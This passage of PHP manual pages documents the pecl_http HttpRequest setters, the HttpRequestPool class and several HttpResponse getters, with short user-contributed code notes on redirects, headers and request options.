                protocol => HTTP_VERSION_1_1,
                ssl => $ssl_array);

//create the httprequest object
$httpRequest_OBJ = new httpRequest($url, HTTP_METH_POST, $options);
//add the content type
$httpRequest_OBJ->setContentType = 'Content-Type: text/xml';
//add the raw post data
$httpRequest_OBJ->setRawPostData ($theData);
//send the http request
$result = $httpRequest_OBJ->send();
//print out the result
echo "<pre>"; print_r($result); echo "</pre>";
?>
mjs at beebo dot org 01-Apr-2009 04:27
Note that send() does not process redirects, and there doesn't appear to any way to get this to happen automatically.  If you need to follow redirects, use something like the following code:

<?php
$request = new HttpRequest($url, HTTP_METH_GET);
do {
    $response = $request->send();
    if ($response->getResponseCode() != 301 && $response->getResponseCode() != 302) break;
    $request->setUrl($response->getHeader("Location"));
} while (1);
?>
HttpRequest::resetCookies
HttpRequest::setBody
HttpRequest


Set request body to send, overwriting previously set request body.

HttpRequest::send
HttpRequest::setContentType
HttpRequest
PHP Manual

HttpRequest::setBody

(PECL pecl_http >= 1.5.0)

HttpRequest::setBody — Set request body to send, overwriting previously set request body.

Description

bool HttpRequest::setBody ([ string $request_body_data ] )

Set request body to send, overwriting previously set request body.

Parameters

request_body_data

The request body to overwrite the existing request body with.

Caution

Ensure that a Content-Type is specified in the request body.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Caution

This method was previously available as HttpRequest::setRawPostData().

See Also

  • HttpRequest::setRawPostData() - Set raw post data

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::send
HttpRequest::setContentType
HttpRequest


Set content type

HttpRequest::setBody
HttpRequest::setCookies
HttpRequest
PHP Manual

HttpRequest::setContentType

(PECL pecl_http >= 0.10.0)

HttpRequest::setContentType — Set content type

Description

public bool HttpRequest::setContentType ( string $content_type )

Set the content type the post request should have.

Parameters

content_type

the content type of the request (primary/secondary)

Return Values

Returns TRUE on success, or FALSE if the content type does not seem to contain a primary and a secondary part.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::setBody
HttpRequest::setCookies
HttpRequest


Set cookies

HttpRequest::setContentType
HttpRequest::setHeaders
HttpRequest
PHP Manual

HttpRequest::setCookies

(PECL pecl_http >= 0.12.0)

HttpRequest::setCookies — Set cookies

Description

public bool HttpRequest::setCookies ([ array $cookies ] )

Set custom cookies.

Parameters

cookies

an associative array as parameter containing cookie name/value pairs; if empty or omitted, all previously set cookies will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::setContentType
HttpRequest::setHeaders
HttpRequest


Set headers

HttpRequest::setCookies
HttpRequest::setMethod
HttpRequest
PHP Manual

HttpRequest::setHeaders

(PECL pecl_http >= 0.12.0)

HttpRequest::setHeaders — Set headers

Description

public bool HttpRequest::setHeaders ([ array $headers ] )

Set request header name/value pairs.

Parameters

headers

an associative array as parameter containing header name/value pairs; if empty or omitted, all previously set headers will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

quickshiftin at gmail dot com 13-Jun-2008 11:29
note: you should not put a colon in the keys of the arrays you pass this method, it will do that for you.  and if you do put colons in the array keys, the resultant headers will have 2 colons beside one another.

so for example,
<?php
$httpRequest->setHeaders(array('User-Agent' => 'Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2'));
?>

will result in
User-Agent: Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2

<?php
$httpRequest->setHeaders(array('User-Agent:' => 'Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2'));
?>

will result in
User-Agent:: Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2
HttpRequest::setCookies
HttpRequest::setMethod
HttpRequest


Set method

HttpRequest::setHeaders
HttpRequest::setOptions
HttpRequest
PHP Manual

HttpRequest::setMethod

(PECL pecl_http >= 0.10.0)

HttpRequest::setMethod — Set method

Description

public bool HttpRequest::setMethod ( int $request_method )

Set the request method.

Parameters

request_method

the request method to use

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Andy Christianson 29-Jul-2008 06:15
Possible values (pulled from http://us.php.net/manual/en/http.constants.php):

HTTP_METH_GET (integer)
HTTP_METH_HEAD (integer)
HTTP_METH_POST (integer)
HTTP_METH_PUT (integer)
HTTP_METH_DELETE (integer)
HTTP_METH_OPTIONS (integer)
HTTP_METH_TRACE (integer)
HTTP_METH_CONNECT (integer)
HTTP_METH_PROPFIND (integer)
HTTP_METH_PROPPATCH (integer)
HTTP_METH_MKCOL (integer)
HTTP_METH_COPY (integer)
HTTP_METH_MOVE (integer)
HTTP_METH_LOCK (integer)
HTTP_METH_UNLOCK (integer)
HTTP_METH_VERSION_CONTROL (integer)
HTTP_METH_REPORT (integer)
HTTP_METH_CHECKOUT (integer)
HTTP_METH_CHECKIN (integer)
HTTP_METH_UNCHECKOUT (integer)
HTTP_METH_MKWORKSPACE (integer)
HTTP_METH_UPDATE (integer)
HTTP_METH_LABEL (integer)
HTTP_METH_MERGE (integer)
HTTP_METH_BASELINE_CONTROL (integer)
HTTP_METH_MKACTIVITY (integer)
HTTP_METH_ACL (integer)
HttpRequest::setHeaders
HttpRequest::setOptions
HttpRequest


Set options

HttpRequest::setMethod
HttpRequest::setPostFields
HttpRequest
PHP Manual

HttpRequest::setOptions

(PECL pecl_http >= 0.10.0)

HttpRequest::setOptions — Set options

Description

public bool HttpRequest::setOptions ([ array $options ] )

Set the request options to use.

See the full list of request options.

Parameters

options

an associative array, which values will overwrite the currently set request options; if empty or omitted, the options of the HttpRequest object will be reset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

mightye at gmail dot com 07-Sep-2007 10:59
Note that options cannot be changed on a request once it is added to a HttpRequestPool.  The pool reads the options and uses the values as they were set at the time it was added.

This means you can't do things like dynamically change the timeout each time you receive some data from the stream (essentially creating an idle timeout when doing things like calling remote long-running jobs).  However you can use low_speed_limit and low_speed_time options to simulate this behavior.
HttpRequest::setMethod
HttpRequest::setPostFields
HttpRequest


Set post fields

HttpRequest::setOptions
HttpRequest::setPostFiles
HttpRequest
PHP Manual

HttpRequest::setPostFields

(PECL pecl_http >= 0.10.0)

HttpRequest::setPostFields — Set post fields

Description

public bool HttpRequest::setPostFields ( array $post_data )

Set the POST data entries, overwriting previously set POST data.

Affects only POST and custom requests.

Parameters

post_data

an associative array containing the post fields; if empty, the post data will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::setOptions
HttpRequest::setPostFiles
HttpRequest


Set post files

HttpRequest::setPostFields
HttpRequest::setPutData
HttpRequest
PHP Manual

HttpRequest::setPostFiles

(PECL pecl_http >= 0.10.0)

HttpRequest::setPostFiles — Set post files

Description

public bool HttpRequest::setPostFiles ( array $post_files )

Set files to post, overwriting previously set post files.

Affects only POST and requests. Cannot be used with raw post data.

Parameters

post_files

an array containing the files to post; if empty, the post files will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::setPostFields
HttpRequest::setPutData
HttpRequest


Set put data

HttpRequest::setPostFiles
HttpRequest::setPutFile
HttpRequest
PHP Manual

HttpRequest::setPutData

(PECL pecl_http >= 0.25.0)

HttpRequest::setPutData — Set put data

Description

public bool HttpRequest::setPutData ([ string $put_data ] )

Set PUT data to send, overwriting previously set PUT data.

Affects only PUT requests.

Only either PUT data or PUT file can be used for each request. PUT data has higher precedence and will be used even if a PUT file is set.

Parameters

put_data

the data to upload

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::setPostFiles
HttpRequest::setPutFile
HttpRequest


Set put file

HttpRequest::setPutData
HttpRequest::setQueryData
HttpRequest
PHP Manual

HttpRequest::setPutFile

(PECL pecl_http >= 0.10.0)

HttpRequest::setPutFile — Set put file

Description

public bool HttpRequest::setPutFile ([ string $file = "" ] )

Set file to put. Affects only PUT requests.

Parameters

file

the path to the file to send; if empty or omitted the put file will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::setPutData
HttpRequest::setQueryData
HttpRequest


Set query data

HttpRequest::setPutFile
HttpRequest::setRawPostData
HttpRequest
PHP Manual

HttpRequest::setQueryData

(PECL pecl_http >= 0.10.0)

HttpRequest::setQueryData — Set query data

Description

public bool HttpRequest::setQueryData ( mixed $query_data )

Set the URL query parameters to use, overwriting previously set query parameters.

Affects any request types.

Parameters

query_data

a string or associative array parameter containing the pre-encoded query string or to be encoded query fields; if empty, the query data will be unset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::setPutFile
HttpRequest::setRawPostData
HttpRequest


Set raw post data

HttpRequest::setQueryData
HttpRequest::setSslOptions
HttpRequest
PHP Manual

HttpRequest::setRawPostData

(PECL pecl_http 0.14.0-1.4.1)

HttpRequest::setRawPostData — Set raw post data

Description

public bool HttpRequest::setRawPostData ([ string $raw_post_data ] )

Set raw post data to send, overwriting previously set raw post data. Don't forget to specify a content type. Affects only POST and custom requests.

Only either post fields or raw post data can be used for each request. Raw post data has higher precedence and will be used even if post fields are set.

Warning

This function alias is DEPRECATED and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future. HttpRequest::setBody() should be used instead.

Parameters

raw_post_data

raw post data

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpRequest::setBody() - Set request body to send, overwriting previously set request body.

User Contributed Notes

matteo dot giaccone at acmos dot net 05-Nov-2009 04:31
use setBody instead to have the not deprecated version.
HttpRequest::setQueryData
HttpRequest::setSslOptions
HttpRequest


Set ssl options

HttpRequest::setRawPostData
HttpRequest::setUrl
HttpRequest
PHP Manual

HttpRequest::setSslOptions

(PECL pecl_http >= 0.10.0)

HttpRequest::setSslOptions — Set ssl options

Description

public bool HttpRequest::setSslOptions ([ array $options ] )

Set SSL options.

Parameters

options

an associative array containing any SSL specific options; if empty or omitted, the SSL options will be reset

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Andy Christianson 24-Jul-2008 10:12
This page does not describe the possible keys for the input array.

Here are the SSL option keys from the cURL source code as of 2008-07-24:

CERT: String that holds file name of the SSL certificate to use
CERTTYPE: String that holds file type of the SSL certificate to use
KEY: String that holds file name of the SSL certificate to use
KEYTYPE: String that holds file type of the SSL certificate to use
PASSWD: String that holds the SSL or SSH private key password.
ENGINE: String that holds the SSL crypto engine.
ENGINE_DEFAULT: flag to set engine as default.
HttpRequest::setRawPostData
HttpRequest::setUrl
HttpRequest


Set URL

HttpRequest::setSslOptions
HttpRequestPool
HttpRequest
PHP Manual

HttpRequest::setUrl

(PECL pecl_http >= 0.10.0)

HttpRequest::setUrl — Set URL

Description

public bool HttpRequest::setUrl ( string $url )

Set the request URL.

Parameters

url

the request url

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::setSslOptions
HttpRequestPool
HttpRequest


The HttpRequestPool class

(No version information available, might only be in SVN)

Class synopsis

HttpRequestPool implements Iterator , Countable {
public bool attach ( HttpRequest $request )
public __construct ([ HttpRequest $request [, HttpRequest $... ]] )
void __destruct ( void )
bool detach ( HttpRequest $request )
array getAttachedRequests ( void )
array getFinishedRequests ( void )
void reset ( void )
bool send ( void )
protected bool socketPerform ( void )
protected bool socketSelect ([ float $timeout = 0 ] )
}

Class Members

Properties

The HttpRequestPool class does not have any properties.

Predefined Constants

The HttpRequestPool class does not have any constants.

Table of Contents

  • HttpRequestPool::attach — Attach HttpRequest
  • HttpRequestPool::__construct — HttpRequestPool constructor
  • HttpRequestPool::__destruct — HttpRequestPool destructor
  • HttpRequestPool::detach — Detach HttpRequest
  • HttpRequestPool::getAttachedRequests — Get attached requests
  • HttpRequestPool::getFinishedRequests — Get finished requests
  • HttpRequestPool::reset — Reset request pool
  • HttpRequestPool::send — Send all requests
  • HttpRequestPool::socketPerform — Perform socket actions
  • HttpRequestPool::socketSelect — Perform socket select

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::setUrl
HttpRequestPool::attach
HTTP


Attach HttpRequest

HttpRequestPool
HttpRequestPool::__construct
HttpRequestPool
PHP Manual

HttpRequestPool::attach

(PECL pecl_http >= 0.10.0)

HttpRequestPool::attach — Attach HttpRequest

Description

public bool HttpRequestPool::attach ( HttpRequest $request )

Attach an HttpRequest object to this HttpRequestPool.

Warning

Set all options prior attaching!

Parameters

request

an HttpRequest object not already attached to any HttpRequestPool object

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws HttpInvalidParamException, HttpRequestException, HttpRequestPoolException, HttpEncodingException.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool
HttpRequestPool::__construct
HttpRequestPool


HttpRequestPool constructor

HttpRequestPool::attach
HttpRequestPool::__destruct
HttpRequestPool
PHP Manual

HttpRequestPool::__construct

(PECL pecl_http >= 0.10.0)

HttpRequestPool::__construct — HttpRequestPool constructor

Description

public HttpRequestPool::__construct ([ HttpRequest $request [, HttpRequest $... ]] )

Instantiate a new HttpRequestPool object. An HttpRequestPool is able to send several HttpRequests in parallel.

Accepts virtually infinite optional parameters each referencing an HttpRequest object.

Parameters

request

HttpRequest object to attach

...

Errors/Exceptions

Throws HttpRequestPoolException (HttpRequestException, HttpInvalidParamException).

Examples

Example #1 A HttpRequestPool example

<?php
try {
    $pool = new HttpRequestPool(
        new HttpRequest('http://www.google.com/', HttpRequest::METH_HEAD),
        new HttpRequest('http://www.php.net/', HttpRequest::METH_HEAD)
    );
    $pool->send();
    foreach($pool as $request) {
        printf("%s is %s (%d)\n",
            $request->getUrl(),
            $request->getResponseCode() ? 'alive' : 'not alive',
            $request->getResponseCode()
        );
    }
} catch (HttpException $e) {
    echo $e;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::attach
HttpRequestPool::__destruct
HttpRequestPool


HttpRequestPool destructor

HttpRequestPool::__construct
HttpRequestPool::detach
HttpRequestPool
PHP Manual

HttpRequestPool::__destruct

(PECL pecl_http >= 0.10.0)

HttpRequestPool::__destruct — HttpRequestPool destructor

Description

void HttpRequestPool::__destruct ( void )

Clean up HttpRequestPool object.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::__construct
HttpRequestPool::detach
HttpRequestPool


Detach HttpRequest

HttpRequestPool::__destruct
HttpRequestPool::getAttachedRequests
HttpRequestPool
PHP Manual

HttpRequestPool::detach

(PECL pecl_http >= 0.10.0)

HttpRequestPool::detach — Detach HttpRequest

Description

bool HttpRequestPool::detach ( HttpRequest $request )

Detach an HttpRequest object from this HttpRequestPool.

Parameters

request

an HttpRequest object attached to this HttpRequestPool object

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws HttpInvalidParamException, HttpRequestPoolException.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::__destruct
HttpRequestPool::getAttachedRequests
HttpRequestPool


Get attached requests

HttpRequestPool::detach
HttpRequestPool::getFinishedRequests
HttpRequestPool
PHP Manual

HttpRequestPool::getAttachedRequests

(PECL pecl_http >= 0.16.0)

HttpRequestPool::getAttachedRequests — Get attached requests

Description

array HttpRequestPool::getAttachedRequests ( void )

Get attached HttpRequest objects.

Parameters

Return Values

Returns an array containing all currently attached HttpRequest objects.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::detach
HttpRequestPool::getFinishedRequests
HttpRequestPool


Get finished requests

HttpRequestPool::getAttachedRequests
HttpRequestPool::reset
HttpRequestPool
PHP Manual

HttpRequestPool::getFinishedRequests

(PECL pecl_http >= 0.16.0)

HttpRequestPool::getFinishedRequests — Get finished requests

Description

array HttpRequestPool::getFinishedRequests ( void )

Get attached HttpRequest objects that already have finished their work.

Parameters

Return Values

Returns an array containing all attached HttpRequest objects that already have finished their work.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::getAttachedRequests
HttpRequestPool::reset
HttpRequestPool


Reset request pool

HttpRequestPool::getFinishedRequests
HttpRequestPool::send
HttpRequestPool
PHP Manual

HttpRequestPool::reset

(PECL pecl_http >= 0.10.0)

HttpRequestPool::reset — Reset request pool

Description

void HttpRequestPool::reset ( void )

Detach all attached HttpRequest objects.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::getFinishedRequests
HttpRequestPool::send
HttpRequestPool


Send all requests

HttpRequestPool::reset
HttpRequestPool::socketPerform
HttpRequestPool
PHP Manual

HttpRequestPool::send

(PECL pecl_http >= 0.10.0)

HttpRequestPool::send — Send all requests

Description

bool HttpRequestPool::send ( void )

Send all attached HttpRequest objects in parallel.

Parameters

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws HttpRequestPoolException (HttpSocketException, HttpRequestException, HttpMalformedHeaderException).

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::reset
HttpRequestPool::socketPerform
HttpRequestPool


Perform socket actions

HttpRequestPool::send
HttpRequestPool::socketSelect
HttpRequestPool
PHP Manual

HttpRequestPool::socketPerform

(PECL pecl_http >= 0.15.0)

HttpRequestPool::socketPerform — Perform socket actions

Description

protected bool HttpRequestPool::socketPerform ( void )

Returns TRUE until each request has finished its transaction.

Return Values

Returns TRUE until each request has finished its transaction.

Examples

Example #1 A HttpRequestPool::socketPerform() example

<?php
class MyPool extends HttpRequestPool
{
    public function send()
    {
        while ($this->socketPerform()) {
            if (!$this->socketSelect()) {
                throw new HttpSocketExcpetion;
            }
        }
    }

    protected final function socketPerform()
    {
        $result = parent::socketPerform();
        foreach ($this->getFinishedRequests() as $r) {
            $this->detach($r);
            // handle response of finished request
        }
        return $result;
    }
}
?>

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::send
HttpRequestPool::socketSelect
HttpRequestPool


Perform socket select

HttpRequestPool::socketPerform
HttpResponse
HttpRequestPool
PHP Manual

HttpRequestPool::socketSelect

(PECL pecl_http >= 0.10.0)

HttpRequestPool::socketSelect — Perform socket select

Description

protected bool HttpRequestPool::socketSelect ([ float $timeout = 0 ] )

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::socketPerform
HttpResponse
HttpRequestPool


The HttpResponse

(No version information available, might only be in SVN)

Class synopsis

HttpResponse {
static void capture ( void )
static int getBufferSize ( void )
static bool getCache ( void )
static string getCacheControl ( void )
static string getContentDisposition ( void )
static string getContentType ( void )
static string getData ( void )
static string getETag ( void )
static string getFile ( void )
static bool getGzip ( void )
static mixed getHeader ([ string $name ] )
static int getLastModified ( void )
static string getRequestBody ( void )
static resource getRequestBodyStream ( void )
static array getRequestHeaders ( void )
static resource getStream ( void )
static float getThrottleDelay ( void )
static string guessContentType ( string $magic_file [, int $magic_mode = MAGIC_MIME ] )
static void redirect ([ string $url [, array $params [, bool $session = false [, int $status ]]]] )
static bool send ([ bool $clean_ob = true ] )
static bool setBufferSize ( int $bytes )
static bool setCache ( bool $cache )
static bool setCacheControl ( string $control [, int $max_age = 0 [, bool $must_revalidate = true ]] )
static bool setContentDisposition ( string $filename [, bool $inline = false ] )
static bool setContentType ( string $content_type )
static bool setData ( mixed $data )
static bool setETag ( string $etag )
static bool setFile ( string $file )
static bool setGzip ( bool $gzip )
static bool setHeader ( string $name [, mixed $value [, bool $replace = true ]] )
static bool setLastModified ( int $timestamp )
static bool setStream ( resource $stream )
static bool setThrottleDelay ( float $seconds )
static bool status ( int $status )
}

Class Members

Properties

Static Properties
Modifiers | Type | Name | Description
protected | boolean | cache | whether caching the response should be attempted
protected | boolean | gzip | whether the sent entity should be gzip'ed on the fly
protected | string | eTag | the generated or custom ETag
protected | integer | lastModified | the generated or custom timestamp of last modification
protected | string | cacheControl | Cache-Control setting
protected | string | contentType | the Content-Type of the sent entity
protected | string | contentDisposition | the Content-Disposition of the sent entity
protected | integer | bufferSize | the chunk buffer size used for throttling
protected | double | throttleDelay | the seconds to delay when throttling

Predefined Constants

Type | Name | Description
integer | REDIRECT | guess applicable redirect method
integer | REDIRECT_PERM | permanent redirect (301 Moved permanently)
integer | REDIRECT_FOUND | standard redirect (302 Found)
integer | REDIRECT_POST | redirect applicable to POST requests (303 See other)
integer | REDIRECT_PROXY | proxy redirect (305 Use proxy)
integer | REDIRECT_TEMP | temporary redirect (307 Temporary Redirect)

Table of Contents

  • HttpResponse::capture — Capture script output
  • HttpResponse::getBufferSize — Get buffer size
  • HttpResponse::getCache — Get cache
  • HttpResponse::getCacheControl — Get cache control
  • HttpResponse::getContentDisposition — Get content disposition
  • HttpResponse::getContentType — Get content type
  • HttpResponse::getData — Get data
  • HttpResponse::getETag — Get ETag
  • HttpResponse::getFile — Get file
  • HttpResponse::getGzip — Get gzip
  • HttpResponse::getHeader — Get header
  • HttpResponse::getLastModified — Get last modified
  • HttpResponse::getRequestBody — Get request body
  • HttpResponse::getRequestBodyStream — Get request body stream
  • HttpResponse::getRequestHeaders — Get request headers
  • HttpResponse::getStream — Get Stream
  • HttpResponse::getThrottleDelay — Get throttle delay
  • HttpResponse::guessContentType — Guess content type
  • HttpResponse::redirect — Redirect
  • HttpResponse::send — Send response
  • HttpResponse::setBufferSize — Set buffer size
  • HttpResponse::setCache — Set cache
  • HttpResponse::setCacheControl — Set cache control
  • HttpResponse::setContentDisposition — Set content disposition
  • HttpResponse::setContentType — Set content type
  • HttpResponse::setData — Set data
  • HttpResponse::setETag — Set ETag
  • HttpResponse::setFile — Set file
  • HttpResponse::setGzip — Set gzip
  • HttpResponse::setHeader — Set header
  • HttpResponse::setLastModified — Set last modified
  • HttpResponse::setStream — Set stream
  • HttpResponse::setThrottleDelay — Set throttle delay
  • HttpResponse::status — Send HTTP response status

User Contributed Notes

There are no user contributed notes for this page.
HttpRequestPool::socketSelect
HttpResponse::capture
HTTP


Capture script output

HttpResponse
HttpResponse::getBufferSize
HttpResponse
PHP Manual

HttpResponse::capture

(PECL pecl_http >= 0.10.0)

HttpResponse::capture — Capture script output

Description

static void HttpResponse::capture ( void )

Capture script output.

Examples

Example #1 A HttpResponse::capture() example

<?php
HttpResponse::setCache(true);
HttpResponse::capture();
// script follows
?>

See Also

  • HttpResponse::send() - Send response

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse
HttpResponse::getBufferSize
HttpResponse


Get buffer size

HttpResponse::capture
HttpResponse::getCache
HttpResponse
PHP Manual

HttpResponse::getBufferSize

(PECL pecl_http >= 0.10.0)

HttpResponse::getBufferSize — Get buffer size

Description

static int HttpResponse::getBufferSize ( void )

Get current buffer size.

Return Values

Returns an int representing the current buffer size in bytes.

See Also

  • HttpResponse::setBufferSize() - Set buffer size
  • HttpResponse::getThrottleDelay() - Get throttle delay
  • HttpResponse::setThrottleDelay() - Set throttle delay

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::capture
HttpResponse::getCache
HttpResponse


Get cache

HttpResponse::getBufferSize
HttpResponse::getCacheControl
HttpResponse
PHP Manual

HttpResponse::getCache

(PECL pecl_http >= 0.10.0)

HttpResponse::getCache — Get cache

Description

static bool HttpResponse::getCache ( void )

Get current caching setting.

Return Values

Returns TRUE if caching should be attempted, else FALSE.

See Also

  • HttpResponse::setCacheControl() - Set cache control
  • HttpResponse::getCacheControl() - Get cache control
  • HttpResponse::setCache() - Set cache

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getBufferSize
HttpResponse::getCacheControl
HttpResponse


Get cache control

HttpResponse::getCache
HttpResponse::getContentDisposition
HttpResponse
PHP Manual

HttpResponse::getCacheControl

(PECL pecl_http >= 0.10.0)

HttpResponse::getCacheControl — Get cache control

Description

static string HttpResponse::getCacheControl ( void )

Get current Cache-Control header setting.

Return Values

Returns the current cache control setting as a string like sent in a header.

See Also

  • HttpResponse::setCacheControl() - Set cache control
  • HttpResponse::setCache() - Set cache
  • HttpResponse::getCache() - Get cache

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getCache
HttpResponse::getContentDisposition
HttpResponse


Get content disposition

HttpResponse::getCacheControl
HttpResponse::getContentType
HttpResponse
PHP Manual

HttpResponse::getContentDisposition

(PECL pecl_http >= 0.10.0)

HttpResponse::getContentDisposition — Get content disposition

Description

static string HttpResponse::getContentDisposition ( void )

Get current Content-Disposition setting.

Return Values

Returns the current content disposition as string like sent in a header.

See Also

  • HttpResponse::setContentDisposition() - Set content disposition
  • HttpResponse::getContentType() - Get content type
  • HttpResponse::setContentType() - Set content type

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getCacheControl
HttpResponse::getContentType
HttpResponse


Get content type

HttpResponse::getContentDisposition
HttpResponse::getData
HttpResponse
PHP Manual

HttpResponse::getContentType

(PECL pecl_http >= 0.10.0)

HttpResponse::getContentType — Get content type

Description

static string HttpResponse::getContentType ( void )

Get current Content-Type header setting.

Return Values

Returns the currently set content type as string.

See Also

  • HttpResponse::getContentDisposition() - Get content disposition
  • HttpResponse::setContentDisposition() - Set content disposition
  • HttpResponse::setContentType() - Set content type
  • HttpResponse::guessContentType() - Guess content type

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getContentDisposition
HttpResponse::getData
HttpResponse


Get data

HttpResponse::getContentType
HttpResponse::getETag
HttpResponse
PHP Manual

HttpResponse::getData

(PECL pecl_http >= 0.10.0)

HttpResponse::getData — Get data

Description

static string HttpResponse::getData ( void )

Get the previously set data to be sent.

Return Values

Returns a string containing the previously set data to send.

See Also

  • HttpResponse::setData() - Set data
  • HttpResponse::getFile() - Get file
  • HttpResponse::setFile() - Set file
  • HttpResponse::getStream() - Get Stream
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getContentType
HttpResponse::getETag
HttpResponse


Get ETag

HttpResponse::getData
HttpResponse::getFile
HttpResponse
PHP Manual

HttpResponse::getETag

(PECL pecl_http >= 0.10.0)

HttpResponse::getETag — Get ETag

Description

static string HttpResponse::getETag ( void )

Get calculated or previously set custom ETag.

Return Values

Returns the calculated or previously set ETag as unquoted string.

See Also

  • HttpResponse::getLastModified() - Get last modified
  • HttpResponse::setLastModified() - Set last modified
  • HttpResponse::setETag() - Set ETag

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getData
HttpResponse::getFile
HttpResponse


Get file

HttpResponse::getETag
HttpResponse::getGzip
HttpResponse
PHP Manual

HttpResponse::getFile

(PECL pecl_http >= 0.10.0)

HttpResponse::getFile — Get file

Description

static string HttpResponse::getFile ( void )

Get the previously set file to be sent.

Return Values

Returns the previously set path to the file to send as string.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::setData() - Set data
  • HttpResponse::setFile() - Set file
  • HttpResponse::getStream() - Get Stream
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getETag
HttpResponse::getGzip
HttpResponse


Get gzip

HttpResponse::getFile
HttpResponse::getHeader
HttpResponse
PHP Manual

HttpResponse::getGzip

(PECL pecl_http >= 0.10.0)

HttpResponse::getGzip — Get gzip

Description

static bool HttpResponse::getGzip ( void )

Get current gzip'ing setting.

Return Values

Returns TRUE if GZip compression is enabled, else FALSE.

See Also

  • HttpResponse::setGzip() - Set gzip

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getFile
HttpResponse::getHeader
HttpResponse


Get header

HttpResponse::getGzip
HttpResponse::getLastModified
HttpResponse
PHP Manual

HttpResponse::getHeader

(PECL pecl_http >= 0.12.0)

HttpResponse::getHeader — Get header

Description

static mixed HttpResponse::getHeader ([ string $name ] )

Get header(s) about to be sent.

Note:

This may not work as expected with the following SAPI(s): Apache2 w/PHP < 5.1.3.

Parameters

name

specifies the name of the header to read; if empty or omitted, an associative array with all headers will be returned

Return Values

Returns either a string containing the value of the header matching name, FALSE on failure, or an associative array with all headers.

See Also

  • HttpResponse::setHeader() - Set header

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getGzip
HttpResponse::getLastModified
HttpResponse


Get last modified

HttpResponse::getHeader
HttpResponse::getRequestBody
HttpResponse
PHP Manual

HttpResponse::getLastModified

(PECL pecl_http >= 0.12.0)

HttpResponse::getLastModified — Get last modified

Description

static int HttpResponse::getLastModified ( void )

Get calculated or previously set custom Last-Modified date.

Return Values

Returns the calculated or previously set Unix timestamp.

See Also

  • HttpResponse::setLastModified() - Set last modified
  • HttpResponse::getETag() - Get ETag
  • HttpResponse::setETag() - Set ETag

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getHeader
HttpResponse::getRequestBody
HttpResponse


Get request body

HttpResponse::getLastModified
HttpResponse::getRequestBodyStream
HttpResponse
PHP Manual

HttpResponse::getRequestBody

(PECL pecl_http >= 0.10.0)

HttpResponse::getRequestBody — Get request body

Description

static string HttpResponse::getRequestBody ( void )

This function is an alias of: http_get_request_body().

User Contributed Notes

osborn dot steven at example dot com 23-Aug-2007 09:03
For those of you without the HTTP extension, try:
<?php
  $body = @file_get_contents('php://input');
?>
HttpResponse::getLastModified
HttpResponse::getRequestBodyStream
HttpResponse


Get request body stream

HttpResponse::getRequestBody
HttpResponse::getRequestHeaders
HttpResponse
PHP Manual

HttpResponse::getRequestBodyStream

(PECL pecl_http >= 0.10.0)

HttpResponse::getRequestBodyStream — Get request body stream

Description

static resource HttpResponse::getRequestBodyStream ( void )

This function is an alias of: http_get_request_body_stream().

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getRequestBody
HttpResponse::getRequestHeaders
HttpResponse


Get request headers

HttpResponse::getRequestBodyStream
HttpResponse::getStream
HttpResponse
PHP Manual

HttpResponse::getRequestHeaders

(PECL pecl_http >= 0.10.0)

HttpResponse::getRequestHeaders — Get request headers

Description

static array HttpResponse::getRequestHeaders ( void )

This function is an alias of: http_get_request_headers().

